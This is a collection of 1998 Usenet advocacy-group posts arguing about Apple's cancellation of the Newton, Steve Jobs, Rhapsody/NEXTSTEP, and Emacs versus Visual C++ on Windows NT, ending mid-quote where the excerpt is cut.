@bln.sel.alcatel.de | All opinions are mine.
From: cobrien@access4.digex.net (Cary B. O'Brien)
Newsgroups: comp.unix.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: NT 5.0 - how big really? [was Re: Lies Upon Lies ..]
Date: 20 Apr 1998 08:58:26 -0400
Organization: Express Access Online Communications USA: 800-969-9090
Message-ID: <6hfgpi$29u@access4.digex.net>
References: <34F08396.D7D29378@spamtoNull.com> <6eot72$qhu$1@news.cs.tu-berlin.de> <50dQ.108$rZ.455277@newsgate.direct.ca> <35377F3F.847FFFDD@innocent.com>
In article <35377F3F.847FFFDD@innocent.com>,
Nat Tate <nat.tate@innocent.com> wrote:
>
>
>Kaz Kylheku wrote:
>
>> In article <6eot72$qhu$1@news.cs.tu-berlin.de>,
>> Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> >Aaron R Kulkis <akulkis@be1151.pd3.ford.com> writes:
>> >>> Could it be that the giant is slowly being caught in its own products?
>> >
>> >
>> >>This is what happens when you get hire bunches of numb-nuts
>> >>programmers.,..
>> >
>> >Well, the person in charge of the modularization effort was said
>> >to be very, very smart. Didn't help him much, though.
>>
>> He was probably referring to the original developers.
>
>My golfing buddy tells me he's playing a lot of rounds with Dave Cutler these
>days. He asked the Big C if he shouldn't be working on NT 5.0, Cutler replied
>"no worries, IFV", allegedly.
>
IFV meaning....?
-- cary
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sun, 19 Apr 1998 23:14:16 -0500
Organization: CE Software
Message-ID: <MPG.fa4876a49b5a7429898ba@news.supernews.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <353B172A.2761@london.virgin.net>
In article <353B172A.2761@london.virgin.net>, binky@london.virgin.net
says...
> Axing the Newton was a damned good idea. The decision should have been
> made years ago.
>
If it had been axed a couple of years ago, it would not have had the same
effect.
If, instead of originally announcing Newton being spun off, it had been
killed then, that would have been more reasonable.
The problem isn't just the killing of the Newton, it's the way it was
done.
* Apple announces Newton will be spun off as a separate unit so it will
control its own future, and this is presented to Newton customers and
developers as the opportunity to grow and thrive (so you Newton
developers, keep working on those programs!).
* A few months later, the spinning off is cancelled, Newton will stay
part of Apple, because they are so enamored with the eMate and the
design. Jobs has a letter sent under his name to the Newton developers
saying "Thi is a good thing, we're excited about it, so we'll give the
Newton the opportunity to grow and thrive (so you Newton developers, keep
working on those programs!).
* Then, a few months later, Apple says "Newton is dead" (so you Newton
developers, go leap off the nearest cliff!).
When Jobs ordered the spinning off to be cancelled, he had to have known
at the time he was going to kill it. It would have been an even harder
message at the time to say "We don't think it will ever be a success so
instead of spinning it out, we're going to kill it" but it would have
been honest.
If the spin off had been cancelled without comment, just a nebulous "part
of Apple's reorganization" Apple wouldn't have had to say anything but
people would have figured it out and when the Newton was killed it
wouldn't have been a great surprise.
Instead, Jobs lied to the developers. He actively urged them to continue
working on something without a future. He tried to convince them to
throw money into what Apple was about to make a black hole.
That's wrong. Most of the developers working on Newton software were
small developers living on a shoestring, and the wasted development money
spent between Jobs "go baby go" letter and Jobs "die baby die" letter may
have crippled them.
Worse, it's stupid. Any developer who got that letter will never believe
Jobs again. Apple claims an Allegro lite will replace the Newton OS for
small devices. If you were a developer who just got burned bad by Jobs'
personal lying and Apple playing fast and loose with their market, and
you were now looking at developing for PalmPilot, WinCE, or this nebulous
Allegro Lite, which are you going to work on?
Here's what would have been better:
* Cancel the spin off without comment.
* To allow Newton to coast, fix the damn bug that is the only serious
flaw in the Newton continuing to work as is.
* Send our Newton developers an NDA, when they sign it, tell them that
the Newton is untenable and give specifics about the Allegro lite devices
so people can actually start designing programs.
* When it gets leaked to MacWeek, find out who leaked it, and give them a
prototype Allegro lite device that looks spiffy so it can get good
coverage while publicly refusing to comment publicly.
* At WWDC, roll the new devices out publicly, let all the developers play
with it, and give them a CD a Allegro lite simulator program.
* Oh, and put in Allegro lite a Newton simulator so people can run their
Newton programs on Macs. Shouldn't be too hard.
Donald
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 20 Apr 1998 08:52:30 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hf2ce$bmt$1@ns3.vrx.net>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com>
<6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu>
<6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net>
<slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net>
<slrn6jk4vg.rln.sal@panix3.panix.com>
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Cc: sal@panix3.panix.com
In <slrn6jk4vg.rln.sal@panix3.panix.com> Salvatore Denaro claimed:
> If you want to sell Unix to the Fortune 500, you have to show that it can
> scale from desktop to teraflop.
Is that true? I think a great deal of Unix is being "sold" into the web
serving enviornment where small boxes is the solution.
> And there is no guarantee that folks running x86 Unix servers will want to
> switch. And Rhapsody will have to compete with free Unix products in that
> market.
Absolutely. However I think a careful combination of updated UI's for some
of the more common apps, along with better NetInfo distribution, would make
Rhapsody compelling at that level.
Maury
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 10:35:50 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-2004981035510001@downtown1-10.slip.netaxs.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <353A9047.BD0C1EAE@milestonerdl.com> <joe.ragosta-2004980636330001@elk52.dol.net>
Mail-Copies-To: jayfar@netaxs.com
In article <joe.ragosta-2004980636330001@elk52.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
| Apple stated that Newton had never made money.
*****
Fred Anderson said Newton "historically" didn't turn a profit.
Translating corporate weasel-speak, that indicates it was recently either
producing a slim profit or was very close to doing so.
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: pxpst2@vms.spam.suxs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Mon, 20 Apr 1998 10:45:41 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2004981045410001@pelli.pathology.pitt.edu>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net> <slrn6jdjt5.3u2.sal@panix3.panix.com> <6h734m$6s$2@ns3.vrx.net> <slrn6jk4vg.rln.sal@panix3.panix.com> <6hf2ce$bmt$1@ns3.vrx.net>
In article <6hf2ce$bmt$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <slrn6jk4vg.rln.sal@panix3.panix.com> Salvatore Denaro claimed:
> > If you want to sell Unix to the Fortune 500, you have to show that it can
> > scale from desktop to teraflop.
>
> Is that true? I think a great deal of Unix is being "sold" into the web
> serving enviornment where small boxes is the solution.
I think that Sal was not entirely correct. Once Unix passes 20 processors
then it(the OS/Hardware interface) has very different needs. Unicos is
generally the Unix of supercomputers and it is what ASCI red and T3E use
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com>
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 10:54:13 -0400
Message-ID: <353b5c1c.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Scott Anguish wrote in message
..
<SNIP>
..
> Can Jobs be a difficult person to work with/for? Definately.
>Is he making a difference? Yes. The only folks who can get rid of
>him are the shareholders. As a shareholder, I voted for him on my
>proxy ballot, BECAUSE he's making a difference.
>
> He has, without any doubt, accomplished a hell of a lot in his
>lifetime that has affected all of us.
>
> Can you say the same?
..
Time to wake up! Jobs is little more than a talented circus barker with the
foresight of a caterpillar on the interstate.
..
..
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Mon, 20 Apr 1998 10:38:47 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <353B6C07.30F97F82@nstar.net>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146> <6hesjg$g95$1@vixen.cso.uiuc.edu>
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willis sean timothy wrote:
[carmack quote]
> I never had the time to properly optimize QuakeEd.
>
> The texture view rendering code in here is crap. Anyone coding a new
> editor is strongly advised to just use an available optimized library,
> like open GL or direct 3D.
>
> John Carmack
> Id Software
> johnc@idsoftware.com
[/carmack quote]
> Keep Trying, Lawson. Or better yet, don't.
Quick question: how is Rhapsody handling the interface between DPS and
an optimized-for-hardware library like OpenGL or Direct3D? Is DPS
capable of handing rendering tasks off to individual hardware
renderering APIs (I understand GX was capable of this)?
The quote above appears to refer to the fact that Carmack *didn't*
optimize QuakeEd with a decent library, while the quote Lawson presented
seems to refer to the fact that Carmack *couldn't* effectively optimize
QuakeEd for NEXTSTEP.
The various OpenGL Quake Editors make nice demos for my $150 FireGL 1000
Pro, as do SoftImage, Alias/Wavefront, and 3D Studio Max. What is Jobs
planning to do about this?
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 09:22:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B160C566-1A877@206.165.43.36>
References: <353B2813.27582807@milestonerdl.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
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M Rassbach <mark@milestonerdl.com> said:
Scott Anguish wrote:
> >
> > Woz already commented on the accuracy of Amelio's take. He
> > got the dollars wrong,
>
> But what was widely reported was that he WAS shorted cash and lied to
> was
> confirmed. And Woz was enuf of a man to still be OK with Steve.
What I heard was that Amelio was off by nearly an order of magnitude. It
was a thousand or so that Jobs ripped Woz off for.
BTW, anyone that thinks that because Woz still "likes Steve and thinks of
him as a friend" that this means that Jobs didn't really do what Amelio
says he did is unaware of Woz's personality.
Woz is worth perhaps $50-100 million.
What is his day job?
Teaching computers to a bunch of 5th graders.
That kind of person is generally VERY forgiving. Saint-like, you know?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Laptop Survey
Date: 20 Apr 1998 15:37:37 GMT
Organization: @Home Network
Message-ID: <6hfq41$ic$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
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In one Survey of market penetration, albeit informal, Apple is winning in the
Coffeehouses. Apple dominates in the number of laptop computers actively in
use by coffeehouse patrons in So. Calif.
-r
From: jeffric@boo.uk.sun.com (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 16:40:49 GMT
Organization: Sun Microsystems UK
Message-ID: <6hftqh$ku8@flonk.uk.sun.com>
References: <353B172A.2761@london.virgin.net>
In article <353B172A.2761@london.virgin.net>, Binky <binky@london.virgin.net> writes:
>>BRING NEWTON DEVS INTO THE FOLD AS WELL!
>what is it with the bloody newton? it was a total donut of a product.
>it may have been a cool techy thing but as a consumer product it sucked
>and this was made plainly obvious by the Pilot. Newton was killed
>because it was a liability. If the Newton was any good it would have
>made money and would have been a success and would not have been axed.
>
Apple's marketing (or rather, their lack of) is why the Newton was not
as successful as Pilot, IMNSHO. At this point in the lifecycle of the Newton,
it could hardly be considered a liability ... judging from the CFO's
comments, it was either nominally profitable or nearly so (considering much
of the original development cost has been written-off long ago).
>Axing the Newton was a damned good idea. The decision should have been
>made years ago.
>
Perhaps ... but it was far too late to axe the product now. With this
decision, Apple has basically left the PDA market FOREVER. By disenfranchising
Newton developers, they have no chance of success with a Mac-OS based PDA. Guess
where all the Newton developers are now? Psion and WinCE. Think they'll come
back? Not bloody likely. Further, MacOS has nothing to bring to the PDA table.
I think Jobs knows this though ... I think he has knowingly left this marketplace
for good, regardless of the PR spin about a new MacOS based PDA. Time will tell.
<snip>
>
>>Newton was killed by Steve Jobs [...] because of simple spite
>crap. grow up.
>
Simple spite doesn't describe it I don't think ... I think Jobs saw it as
a distraction from the bigger picture of a unified MacOS/Rhapsody. Plus,
judging from anecdotal evidence, he didn't seem to grok the Newton. Odd
for someone who has, I believe, a lot of vision. He is Apple's best hope ...
even though I think this particular decision was incredibly bad.
Jeff Richmond
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 20 Apr 1998 17:20:21 GMT
Organization: P & L Systems
Message-ID: <6hg04l$57p$11@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com>
<6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com>
<6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk>
<6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com>
<slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com>
<slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
<trev-0504982024220001@nas-sa-p5.usc.net> <6ggktb$1kt$2@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6ggktb$1kt$2@quasar.dimensional.com> Kenneth R. Kinder wrote:
> The supiorority of either GUi can be argued but, the GUI isn't what makes
an
> OS great.
>
> Not to make any statements about NextStep, I just want you to think about
> more than the UI. Other elements are very important, such as the kernel,
> hardware support, stability, ect ect ect... licensing, open standards, ect
> ect ect...
>
Yup, these also helped to make NEXTSTEP great.
BTW, what's with the "ect" -- were you typing this through a therapy session?
mmalc.
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 20 Apr 1998 12:37:33 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353B87DD.2357@CONVEX.COM>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org>
<B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM>
<slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM>
<slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net> <7ybtu0rork.fsf@romulus>
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Manu Iyengar wrote:
>
> In article <3537C3A0.64F45942@nstar.net> Michael Peck <mjpeck@nstar.net> writes:
> >Salvatore Denaro wrote:
> >
> >> That's odd. Are you sure that there is no Emacs www client? I could
> >> have sworn that I saw one.
> >
> >Not that I know of. GNUscape Navigator runs inside of emacs, so that may
> >be what you're thinking of.
>
> Sure there is -- w3-mode.
My emacs doesn't have that elisp module. Is it an add-on, perhaps? If
so, I fail to see how it's different from GNUscape Navigator.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 20 Apr 1998 17:09:18 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6hfvfu$4d4@nrtphc11.bnr.ca>
References: <1d7dqhy.19vqngyw020lcN@rhrz-isdn3-p18.rhrz.uni-bonn.de> <slrn6jk4ch.rln.sal@panix3.panix.com> <slrn6jk5no.rln.sal@panix3.panix.com>
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In article <B15D1508-574C5@206.165.43.62> Lawson English,
english@primenet.com writes:
>I rather suspect that developers of an application that compresses files
>need to have access to the most up-to-date version of hte OS, especially
>when the file-format radically changes.
Lawson, what changes to *FILE* format? HFS+ is a disk format, not a file
format change.
Matthew Cromer matthew_cromer@iname.com
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 20 Apr 1998 17:54:11 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6hg243$l1p$1@vixen.cso.uiuc.edu>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146> <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net>
Michael Peck (mjpeck@nstar.net) wrote:
:
: Quick question: how is Rhapsody handling the interface between DPS and
: an optimized-for-hardware library like OpenGL or Direct3D? Is DPS
: capable of handing rendering tasks off to individual hardware
: renderering APIs (I understand GX was capable of this)?
:
: The quote above appears to refer to the fact that Carmack *didn't*
: optimize QuakeEd with a decent library, while the quote Lawson presented
: seems to refer to the fact that Carmack *couldn't* effectively optimize
: QuakeEd for NEXTSTEP.
I really am not sure how any of this will work, as I don't have the deep
understanding of these systems necessary to answer your questions.
However, I just wanted to show that Lawson was being quite "clever" with
his selection of quoted material. The two Carmack quotes (mine and his)
came from the exact same file.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Mon, 20 Apr 1998 12:55:29 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353B8C11.1CF4@CONVEX.COM>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM> <slrn6jdlpg.3u2.sal@panix3.panix.com> <3537C3A0.64F45942@nstar.net> <slrn6jk439.rln.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> On Fri, 17 Apr 1998 15:03:28 -0600, Michael Peck <mjpeck@nstar.net> wrote:
> >And you're wrong anyway. You said that XEmacs requires a local X
> >session; it requires nothing of the sort, even if such a thing existed.
>
> Can I run it without X? Can I use it without X? By Local X I ment that
> X had to be running on your local machine.
This is sort of ridiculous. It's an X program. It requires an X server,
like all X programs. I don't see your point, nor do I see the reason for
prepending "local" to the phrase. Maybe you don't understand the X
Windows client/server model.
> >Er, it's not really the same. Believe me, I'm working on this very
> >thing, and it *isn't* what I'm talking about.
>
> How so? How can X be the IDE and not WinNT?
I've actually been able to do such a thing with NT this past weekend. It
basically involves the use of Cygwin-32 as a bash/egcs environment with
X libraries and a DISPLAY variable pointing to an X server (local or
otherwise). That way I can work from within my Linux X session but
compile on NT, or run MI/X on the NT box and work there, my choice.
Either way my IDE is X, not VC++, although I'd hesitate to apply "IDE"
to the X setup, since it's not really "integrated" in the sense conveyed
by "IDE".
It probably seems sort of hard-headed to do it this way, but it's not
uncommon and the tools work very well.
> >> Should be CMD.EXE.
> >I run a mix of NT and 95.
>
> Don't. Despite what MS says, it will cause problems. If you must, at least
> set up different partions for W95 and NT.
Heh, been down that road already. W95 and NT run on separate boxes.
> >Hm, my bad, I guess. I'm not entirely up to speed on the subject.
>
> Time to RTFM. If you have the VC++ docs, you should have the complete
> console services docs on your system and some demo Apps.
Wouldn't it be fortunate if everyone had as much time to read
documentation as you have! By the way, have you looked into that X
Windows stuff yet?
I guess you know what you work with, eh? I'll get to the "console
services" docs just as soon as I'm done with the 352 other things that
have higher priority. What I wouldn't give for some nice, condensed man
pages right about now...
> >Ah, but this is what I was trying to get at: is there anything I can do
> >about the console itself?
>
> You can change the 80*25 default.
Sweet. How?
> You can change the ComSpec to be
> bash.exe rather than cmd.exe.
Sweet. How?
> You can *replace* the console mode if you
> wanted, or write a console++ that does more. Is that enough?
Actually, I'm looking for answers, not advocacy regarding how flexible
NT is. Can you provide?
> >By this I mean the 80x25 window to which
> >consoles (including CMD.EXE) default. This is super clumsy. Maybe it
> >seems superficial, but it's a significant drawback for me.
>
> Change it. Open up regedit and search for cmd.exe and then for "console"
> you'll find all the settings that you can edit. I'm not sure that changing
> from cmd.exe to bash.exe in comspec isn't going to break anything, YMMV.
Ah, gotcha. I assume the registry keys and values for "console" and
cmd.exe are in the documentation you mentioned above.
> >Emacs is as minimalist as I like it to be. That's exactly what I'm
> >describing above. Emacs doesn't do anything by default that I don't want
> >it to do. By contrast, I have been paring the shit out of VC++ simply
> >because it presents so much junk that I don't want or need.
>
> VCPP is as minimalist as I like it to be. That's exactly what I'm
> describing above. VCPP doesn't do anything by default that I don't want
> it to do. By contrast, I have been paring the shit out of Emacs simply
> because it presents so much junk that I don't want or need.
Hmm, like...?
> It sounds equaly nitpicky when rephrased.
I wonder if you can back that up with specific examples. Here are a
couple off of the top of my head:
1) beginning development in VCPP: walk through a wizard asking you
precisely how and what you plan to develop. I don't need this, I need a
blank sheet of paper on which to start writing code.
2) integrated web browser: why do I need this? I use Netscape Navigator,
and it's always running. Why do I need two Web browsers running in
memory to do job of one?
3) toolbars: with XEmacs I get a single, minimalist toolbar. With a
single click it's gone. With VCPP I've got preferences dialogs to sort
through.
> If you are going to evaluate VCPP based on how closly it acts like Emacs,
> then you are never going to be happy with it. If you were a little open
> minded and compared it based on how well it performs at the task it was
> designed for, you might not be so quick to dismiss it.
I'm not even addressing how well it does "the task it was designed for",
unless that task is "making developers feel like they're using Microsoft
Word, complete with memory/disk footprint". I'm addressing overall
usability, and VCPP doesn't have it.
> If you want to complain about the CPP compiler, and the horrid template
> performace and the lame STL, then that is another story... :)
Dunno.
MJP
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Mon, 20 Apr 1998 12:49:40 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-2004981249400001@130.130.117.53>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <35359e86.0@206.25.228.5> <6h8akv$ol4$1@nnrp1.dejanews.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6h8akv$ol4$1@nnrp1.dejanews.com>, rfuller@genre.com wrote:
:And can any of you tell me what the fuque any of this politically
:philosophical crap has to do with NeXT/Mac advocacy?
I thought this group was for ADVOCACY of COMPetetive economic SYStems for
the NEXT stage of government and for COMPetetive SYStems for the Military
Airlift Command. I just read the charters and must say I am very
embarassed.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Mon, 20 Apr 1998 11:10:08 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2004981110080001@sf-usr1-34-162.dialup.slip.net>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul> <6henng$pdv$1@interport.net>
In article <6henng$pdv$1@interport.net>, float@interport.net wrote:
> NeXT Newbie (macghod@concentric.net) wrote:
> : Yay, rhapsody is out with its great support for
> : multi-processors. Oops, but their is no photoshop :P
>
> : That would not be good. But doesnt adobe already have most of their
> : products out for unix?
>
> I have heard that Photoshop runs on Solaris.
> --
>
> Ben
>
> <Just Another System Administrator>
Actually, they have versions for Sun, HP and SGI. They
are wildly expensive, and the last time I looked, several
generations back from the Mac/Win versions of same.
George Graves
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 13:00:56 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6hfgu8$lu2$3@ns3.vrx.net>
References: <6hftqh$ku8@flonk.uk.sun.com> <B160D5E0-5D5D7@206.165.43.36>
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Cc: english@primenet.com
In <B160D5E0-5D5D7@206.165.43.36> "Lawson English" claimed:
> Jobs killed the Mac project in 1979 and Raskin had to go over his head to
> get it restarted.
>
> Source: Raskin's invited article on computer-human interfaces in the "Next
> 50 years in computing" issue of Communications of the ACM.
One that has received a very small amount of outside support that I've
seen. Although I don't doubt the overall issue, I have questions about the
specifics. For instance everything I had read prior to this specific article
was that the original Mac project was a 6809 based "appliance" with an
interface basically similar to the Apple II - that the project's main goals
were packaging and cleanup based. Yet Raskin claims in the article to have
wanted a GUI based machine and suggests that Jobs go to PARC - another issue
that I have not seen documented any other place. Raskin's idea makes it
really sound like the entire concept was "his", yet this is the only claim of
that I've seen in any history on Apple.
Maury
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.newton.misc
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 10:31:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353B6A4E.3C0D69C2@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <353B172A.2761@london.virgin.net> <MPG.fa4876a49b5a7429898ba@news.supernews.com>
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Donald Brown wrote:
> In article <353B172A.2761@london.virgin.net>, binky@london.virgin.net
> says...
> > Axing the Newton was a damned good idea. The decision should have been
> > made years ago.
> >
> If it had been axed a couple of years ago, it would not have had the same
> effect.
>
> If, instead of originally announcing Newton being spun off, it had been
> killed then, that would have been more reasonable.
>
> The problem isn't just the killing of the Newton, it's the way it was
> done.
>
> * Apple announces Newton will be spun off as a separate unit so it will
> control its own future, and this is presented to Newton customers and
> developers as the opportunity to grow and thrive (so you Newton
> developers, keep working on those programs!).
>
> * A few months later, the spinning off is cancelled, Newton will stay
> part of Apple, because they are so enamored with the eMate and the
> design. Jobs has a letter sent under his name to the Newton developers
> saying "Thi is a good thing, we're excited about it, so we'll give the
> Newton the opportunity to grow and thrive (so you Newton developers, keep
> working on those programs!).
>
> * Then, a few months later, Apple says "Newton is dead" (so you Newton
> developers, go leap off the nearest cliff!).
>
> When Jobs ordered the spinning off to be cancelled, he had to have known
> at the time he was going to kill it. It would have been an even harder
> message at the time to say "We don't think it will ever be a success so
> instead of spinning it out, we're going to kill it" but it would have
> been honest.
>
> If the spin off had been cancelled without comment, just a nebulous "part
> of Apple's reorganization" Apple wouldn't have had to say anything but
> people would have figured it out and when the Newton was killed it
> wouldn't have been a great surprise.
>
> Instead, Jobs lied to the developers. He actively urged them to continue
> working on something without a future. He tried to convince them to
> throw money into what Apple was about to make a black hole.
>
> That's wrong. Most of the developers working on Newton software were
> small developers living on a shoestring, and the wasted development money
> spent between Jobs "go baby go" letter and Jobs "die baby die" letter may
> have crippled them.
>
> Worse, it's stupid. Any developer who got that letter will never believe
> Jobs again. Apple claims an Allegro lite will replace the Newton OS for
> small devices. If you were a developer who just got burned bad by Jobs'
> personal lying and Apple playing fast and loose with their market, and
> you were now looking at developing for PalmPilot, WinCE, or this nebulous
> Allegro Lite, which are you going to work on?
>
> Here's what would have been better:
> * Cancel the spin off without comment.
> * To allow Newton to coast, fix the damn bug that is the only serious
> flaw in the Newton continuing to work as is.
> * Send our Newton developers an NDA, when they sign it, tell them that
> the Newton is untenable and give specifics about the Allegro lite devices
> so people can actually start designing programs.
> * When it gets leaked to MacWeek, find out who leaked it, and give them a
> prototype Allegro lite device that looks spiffy so it can get good
> coverage while publicly refusing to comment publicly.
> * At WWDC, roll the new devices out publicly, let all the developers play
> with it, and give them a CD a Allegro lite simulator program.
> * Oh, and put in Allegro lite a Newton simulator so people can run their
